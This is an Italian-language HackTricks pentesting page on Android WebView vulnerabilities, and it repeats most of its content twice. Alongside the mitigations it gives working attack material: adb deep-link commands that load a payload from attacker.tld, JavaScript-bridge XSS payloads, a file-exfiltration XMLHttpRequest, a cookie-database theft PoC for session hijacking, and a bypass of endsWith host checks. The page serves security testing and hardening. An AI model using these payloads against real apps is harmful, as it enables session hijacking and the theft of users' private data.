WebView Attacks

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Guida alle configurazioni e alla sicurezza di WebView

Panoramica delle vulnerabilitĂ  di WebView

Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all’uso di WebView.

Esempio di WebView

Accesso ai file nelle WebView

Per impostazione predefinita, le WebView consentono l’accesso ai file. Questa funzionalità è controllata dal metodo setAllowFileAccess(), disponibile da Android API level 3 (Cupcake 1.5). Le applicazioni con il permesso android.permission.READ_EXTERNAL_STORAGE possono leggere file dallo storage esterno usando lo scheme URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Questa funzionalitĂ  deprecata consentiva richieste cross-origin da file URL, rappresentando un rischio di sicurezza significativo a causa di possibili attacchi XSS. L’impostazione predefinita è disabilitata (false) per le app destinate a Android Jelly Bean e versioni successive.
  • Per verificare questa impostazione, usa getAllowUniversalAccessFromFileURLs().
  • Per modificare questa impostazione, usa setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Questa funzionalitĂ , anch’essa deprecata, controllava l’accesso ai contenuti da altri URL con schema file. Come per universal access, il valore predefinito è disabilitato per maggiore sicurezza.
  • Usa getAllowFileAccessFromFileURLs() per verificare e setAllowFileAccessFromFileURLs(boolean) per impostare.

Caricamento sicuro dei file

Per disabilitare l’accesso al file system pur continuando ad accedere ad assets e risorse, si usa il metodo setAllowFileAccess(). Con Android R e versioni successive, il valore predefinito è false.

  • Verifica con getAllowFileAccess().
  • Abilita o disabilita con setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader è l’approccio moderno per caricare file locali. Usa URL http(s) per accedere ad assets e risorse locali, allineandosi alla Same-Origin policy, facilitando così la gestione del CORS.

loadUrl

Questa è una funzione comune usata per caricare URL arbitrari in una WebView:

webview.loadUrl("<url here>")

Ovviamente, un potenziale attacker non dovrebbe mai poter controllare l’URL che un’applicazione sta per caricare.

Gestione di JavaScript e dello schema Intent

  • JavaScript: Disabilitato di default in WebViews, può essere abilitato tramite setJavaScriptEnabled(). È consigliabile prestare attenzione, poichĂŠ abilitare JavaScript senza adeguate contromisure può introdurre vulnerabilitĂ  di sicurezza.
  • Intent Scheme: WebViews possono gestire lo schema intent, con potenziale per exploits se non gestito con attenzione. Un esempio di vulnerabilitĂ  coinvolgeva un parametro esposto di WebView “support_url” che poteva essere sfruttato per eseguire cross-site scripting (XSS).

WebView vulnerabile

Esempio di sfruttamento usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Una funzionalità fornita da Android consente a JavaScript in una WebView di invocare funzioni native dell’app Android. Questo viene realizzato utilizzando il metodo addJavascriptInterface, che integra JavaScript con le funzionalità native di Android, denominato WebView JavaScript bridge. Si raccomanda cautela poiché questo metodo permette a tutte le pagine all’interno della WebView di accedere all’oggetto JavaScript Interface registrato, comportando un rischio di sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.

  • È richiesta estrema cautela per le app rivolte a versioni di Android precedenti alla 4.2 a causa di una vulnerabilitĂ  che permette remote code execution tramite JavaScript malevolo, sfruttando reflection.

Implementazione di un JavaScript Bridge

  • JavaScript interfaces possono interagire con codice nativo, come mostrato negli esempi dove un metodo di classe è esposto a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge è abilitato aggiungendo un’interfaccia al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenziale sfruttamento tramite JavaScript, ad esempio via un XSS attack, consente l’invocazione di metodi Java esposti:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Per mitigare i rischi, restrict JavaScript bridge usage al codice incluso nell’APK e impedire il caricamento di JavaScript da sorgenti remote. Per dispositivi piĂš vecchi, impostare il livello API minimo a 17.

Reflection-based Remote Code Execution (RCE)

  • Un metodo documentato permette di ottenere RCE tramite reflection eseguendo un payload specifico. Tuttavia, l’annotazione @JavascriptInterface impedisce l’accesso non autorizzato ai metodi, limitando la superficie d’attacco.

Remote Debugging

  • Remote debugging è possibile con Chrome Developer Tools, permettendo l’interazione e l’esecuzione arbitraria di JavaScript all’interno del contenuto del WebView.

Enabling Remote Debugging

  • Remote debugging può essere abilitato per tutti i WebView all’interno di un’applicazione mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Per abilitare il debugging in modo condizionale in base allo stato debuggable dell’applicazione:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

  • Dimostra exfiltration of arbitrary files usando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Attacchi a WebView

Guida alle configurazioni e alla sicurezza di WebView

Panoramica delle vulnerabilitĂ  di WebView

Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida mette in evidenza le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all’uso di WebView.

WebView Example

File Access in WebViews

Per impostazione predefinita, le WebView permettono l’accesso ai file. Questa funzionalità è controllata dal metodo setAllowFileAccess(), disponibile da Android API level 3 (Cupcake 1.5). Le applicazioni con il permesso android.permission.READ_EXTERNAL_STORAGE possono leggere file dallo storage esterno usando lo schema URL file (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Questa funzionalitĂ  deprecata consentiva richieste cross-origin da file URL, rappresentando un rischio di sicurezza significativo a causa di potenziali attacchi XSS. L’impostazione predefinita è disabilitata (false) per le app che targettizzano Android Jelly Bean e versioni successive.
  • Per verificare questa impostazione, usare getAllowUniversalAccessFromFileURLs().
  • Per modificare questa impostazione, usare setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Anche questa funzionalitĂ , deprecata, controllava l’accesso ai contenuti provenienti da altri URL con schema file. Come per l’accesso universale, il valore predefinito è disabilitato per motivi di sicurezza.
  • Usare getAllowFileAccessFromFileURLs() per verificare e setAllowFileAccessFromFileURLs(boolean) per impostare.

Secure File Loading

Per disabilitare l’accesso al filesystem mantenendo comunque l’accesso ad assets e risorse, si utilizza il metodo setAllowFileAccess(). Con Android R e successivi, l’impostazione predefinita è false.

  • Verificare con getAllowFileAccess().
  • Abilitare o disabilitare con setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader è l’approccio moderno per caricare file locali. Usa URL http(s) per accedere ad assets e risorse locali, allineandosi alla Same-Origin policy e facilitando la gestione del CORS.

loadUrl

Questa è una funzione comune usata per caricare URL arbitrari in una WebView:

webview.loadUrl("<url here>")

Ovviamente, un potential attacker non dovrebbe mai poter controllare l’URL che un’applicazione sta per caricare.

Deep-linking in un WebView interno (custom scheme → WebView sink)

Molte app registrano custom schemes/paths che instradano un user-supplied URL verso un in-app WebView. Se il deep link è exported (VIEW + BROWSABLE), an attacker può forzare l’app a render arbitrary remote content all’interno del suo WebView context.

Schema tipico del manifest (semplificato):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flusso di codice comune (semplificato):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Pattern d’attacco e PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impatto: la pagina remota viene eseguita nel contesto della WebView dell’app (cookies/session del profilo WebView dell’app, accesso a qualsiasi @JavascriptInterface esposto, possibile accesso a content:// e file:// a seconda delle impostazioni).

Hunting tips:

  • Grep delle sorgenti decompilate per getQueryParameter("url"), loadUrl(, sink di WebView, e gestori di deep-link (onCreate/onNewIntent).
  • Esaminare il manifest per filtri VIEW+BROWSABLE e schemi/host personalizzati che mappano ad activity che poi avviano una WebView.
  • Controllare se ci sono piĂš percorsi di deep-link (es., un percorso “external browser” vs. un percorso “internal webview”) e preferire quello che viene renderizzato all’interno dell’app.

Enabling JavaScript before verification (order-of-checks bug)

Un frequente errore di hardening è abilitare JavaScript o configurare impostazioni WebView rilassate prima che la allowlist/verifica finale dell’URL target sia completata. Se la verifica è incoerente tra helper o avviene troppo tardi, un deep link dell’attacker può raggiungere uno stato in cui:

  1. Le impostazioni della WebView vengono applicate (es., setJavaScriptEnabled(true)), e
  2. L’URL non affidabile viene caricato con JavaScript abilitato.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Why it’s exploitable

  • Normalizzazione incoerente: gli helper split/ricostruiscono l’URL in modo diverso rispetto al controllo finale, creando discrepanze che un URL maligno può sfruttare.
  • Pipeline disordinata: abilitare JS al passo 2 si applica globalmente all’istanza di WebView, influenzando il caricamento finale anche se la verifica dovesse poi fallire.

How to test

  • Crea payload deep-link che superino i controlli iniziali e raggiungano il sito di configurazione del WebView.
  • Usa adb per inviare implicit VIEW intents che consegnino un parametro url= controllato da te:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Se exploitation ha successo, il tuo payload esegue JavaScript nel WebView dell’app. Da lì, verifica la presenza di bridge esposti:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Linee guida difensive

  • Canonicalizza una sola volta; valida rigorosamente rispetto a una sola fonte di veritĂ  (scheme/host/path/query).
  • Chiama setJavaScriptEnabled(true) solo dopo che tutti i controlli della allowlist sono stati superati e immediatamente prima di caricare contenuti trusted.
  • Evita di esporre @JavascriptInterface ad origini non attendibili; preferisci meccanismi di gating per origine.
  • Valuta istanze WebView separate per contenuti trusted vs untrusted, con JS disabilitato di default.

JavaScript e gestione dell’Intent Scheme

  • JavaScript: Disabilitato di default nelle WebView; può essere abilitato tramite setJavaScriptEnabled(). È consigliata cautela: abilitare JavaScript senza adeguate misure di sicurezza può introdurre vulnerabilitĂ .
  • Intent Scheme: Le WebView possono gestire lo scheme intent, il che può portare a exploit se non gestito con attenzione. Un esempio di vulnerabilitĂ  coinvolgeva un parametro esposto nella WebView, “support_url”, che poteva essere sfruttato per eseguire attacchi di cross-site scripting (XSS).

WebView vulnerabile

Esempio di sfruttamento usando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android fornisce una funzionalità che permette a JavaScript in una WebView di invocare le funzioni native dell’app Android. Questo avviene tramite il metodo addJavascriptInterface, che integra JavaScript con le funzionalità native di Android, indicato come WebView JavaScript bridge. È necessario prestare attenzione perché questo metodo permette a tutte le pagine all’interno della WebView di accedere all’oggetto JavaScript Interface registrato, comportando un rischio per la sicurezza se informazioni sensibili vengono esposte tramite queste interfacce.

  • È necessaria la massima cautela per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilitĂ  che permette remote code execution tramite JavaScript dannoso, sfruttando reflection.

Implementazione di un JavaScript Bridge

  • Le interfacce JavaScript possono interagire con il codice nativo, come mostrato negli esempi dove un metodo di classe viene esposto a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge viene abilitato aggiungendo un’interfaccia al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenziale sfruttamento tramite JavaScript, per esempio tramite un XSS attack, permette la chiamata di Java methods esposti:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Per mitigare i rischi, restrict JavaScript bridge usage al codice fornito con l’APK e impedire il caricamento di JavaScript da fonti remote. Per dispositivi piĂš vecchi, impostare il livello API minimo a 17.

Abuso dei JS bridges in stile dispatcher (invokeMethod/handlerName)

Un pattern comune è un singolo metodo esportato (es., @JavascriptInterface void invokeMethod(String json)) che deserializza JSON controllato dall’attaccante in un oggetto generico e instrada l’azione in base al nome dell’handler fornito. Struttura JSON tipica:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Rischio: se un handler registrato esegue azioni privilegiate sui dati controllati dall’attaccante (es., letture dirette di file), puoi chiamarlo impostando di conseguenza handlerName. I risultati vengono solitamente riportati nel contesto della pagina tramite evaluateJavascript e un meccanismo callback/promise indicizzato da callbackId.

Key hunting steps

  • Decompila e fai grep per addJavascriptInterface( per scoprire il nome dell’oggetto bridge (es., xbridge).
  • In Chrome DevTools (chrome://inspect), digita il nome dell’oggetto bridge nella Console (es., xbridge) per enumerare campi/metodi esposti; cerca un dispatcher generico come invokeMethod.
  • Enumera gli handler cercando classi che implementano getModuleName() o mappe di registrazione.

Lettura arbitraria di file via URI → File sinks (Base64 exfiltration)

Se un handler prende un URI, chiama Uri.parse(req.getUri()).getPath(), costruisce new File(...) e lo legge senza allowlists o controlli del sandbox, ottieni una lettura arbitraria di file nel sandbox dell’app che bypassa impostazioni della WebView come setAllowFileAccess(false) (la lettura avviene in codice nativo, non tramite lo stack di rete della WebView).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Note

  • I percorsi del DB dei cookie variano tra dispositivi/provider. I piĂš comuni:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • L’handler restituisce Base64; decodicalo per recuperare i cookie e impersonare l’utente nel profilo WebView dell’app.

Detection tips

  • Fai attenzione a lunghe stringhe Base64 restituite tramite evaluateJavascript mentre usi l’app.
  • Grep le sorgenti decompilate per handler che accettano uri/path e li convertono in new File(...).

Bypass dei privilegi di WebView – endsWith() host checks

Le decisioni sui privilegi (selezione di un’Activity abilitata JSB) spesso si basano su allowlist di host. Un pattern difettoso è:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Logica equivalente (di De Morgan):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Questo non è un origin check. Molti host non previsti soddisfano la seconda clausola, permettendo a domini non attendibili di entrare nell’Activity privilegiata. Verifica sempre scheme e host rispetto a una allowlist rigorosa (exact match or a correct subdomain check with dot-boundaries), non usare trucchi endsWith.

javascript:// primitive di esecuzione via loadUrl

Una volta all’interno di una WebView privilegiata, le app talvolta eseguono JS inline tramite:

webView.loadUrl("javascript:" + jsPayload);

Se un flusso interno innesca loadUrl("javascript:...") in quel contesto, il JS iniettato viene eseguito con accesso al bridge anche se la pagina esterna normalmente non sarebbe autorizzata. Pentest steps:

  • Esegui grep per loadUrl("javascript: e evaluateJavascript( nell’app.
  • Cerca di raggiungere quei percorsi di codice dopo aver forzato la navigazione verso il WebView privilegiato (es., tramite un selettore di deep link permissivo).
  • Usa la primitiva per chiamare il dispatcher (xbridge.invokeMethod(...)) e raggiungere handler sensibili.

Mitigations (developer checklist)

  • Verifica rigorosa dell’origine per le Activities privilegiate: canonicalizza e confronta scheme/host contro una allowlist esplicita; evita controlli basati su endsWith. Considera Digital Asset Links quando applicabile.
  • Limita i bridge solo a pagine fidate e riesegui la verifica di fiducia ad ogni chiamata (autorizzazione per chiamata).
  • Rimuovi o proteggi rigidamente gli handler con accesso al filesystem; preferisci content:// con allowlist/permessi rispetto ai percorsi file:// grezzi.
  • Evita loadUrl("javascript:") in contesti privilegiati o mettilo dietro controlli robusti.
  • Ricorda che setAllowFileAccess(false) non protegge da letture native di file tramite il bridge.

Enumerazione JSB e suggerimenti per il debug

  • Abilita il debug remoto di WebView per usare la Console di Chrome DevTools:
  • Lato app (build di debug): WebView.setWebContentsDebuggingEnabled(true)
  • Lato sistema: moduli come LSPosed o script Frida possono forzare l’abilitazione del debug anche su build release. Esempio di snippet Frida per Cordova WebViews: cordova enable webview debugging
  • Nei DevTools, digita il nome dell’oggetto bridge (es., xbridge) per vedere i membri esposti e sondare il dispatcher.

Remote Code Execution (RCE) basata sulla reflection

  • Un metodo documentato permette di ottenere RCE tramite reflection eseguendo un payload specifico. Tuttavia, l’annotazione @JavascriptInterface impedisce l’accesso non autorizzato ai metodi, limitando la superficie d’attacco.

Debug remoto

  • Il debug remoto è possibile con Chrome Developer Tools, permettendo l’interazione e l’esecuzione arbitraria di JavaScript all’interno del contenuto del WebView.

Abilitare il debug remoto

  • Il debug remoto può essere abilitato per tutti i WebView all’interno di un’applicazione tramite:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Per abilitare il debugging in modo condizionale basato sullo stato debuggable dell’applicazione:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Esfiltrare file arbitrari

  • Dimostra l’esfiltrazione di file arbitrari usando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Una vulnerabilità frequente è leggere dati controllati dall’attaccante da un Intent extra in arrivo e iniettarli direttamente in una WebView tramite loadData() con JavaScript abilitato.

Vulnerable pattern (exported Activity reads extra and renders it as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Se quell’Activity è exported (o raggiungibile tramite un exported proxy), un’app malevola può fornire HTML/JS nell’extra data per ottenere reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Impatto

  • JS arbitrario nel contesto WebView dell’app: enumerare/usare i bridge @JavascriptInterface, accedere ai WebView cookies/local storage, pivotare su file:// o content:// a seconda delle impostazioni.

Mitigazioni

  • Considerare tutte le input derivate da Intent non attendibili. Applicare escaping (Html.escapeHtml) o rifiutare l’HTML; preferire il rendering di testo non attendibile come testo, non come HTML.
  • Mantenere JavaScript disabilitato a meno che non sia strettamente necessario; non abilitare WebChromeClient per contenuti non attendibili.
  • Se devi renderizzare HTML templato, usa loadDataWithBaseURL() con una base sicura e CSP; separa WebView affidabili da WebView non attendibili.
  • Evitare di esporre l’Activity esternamente o proteggerla con permessi quando non necessario.

Correlati

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks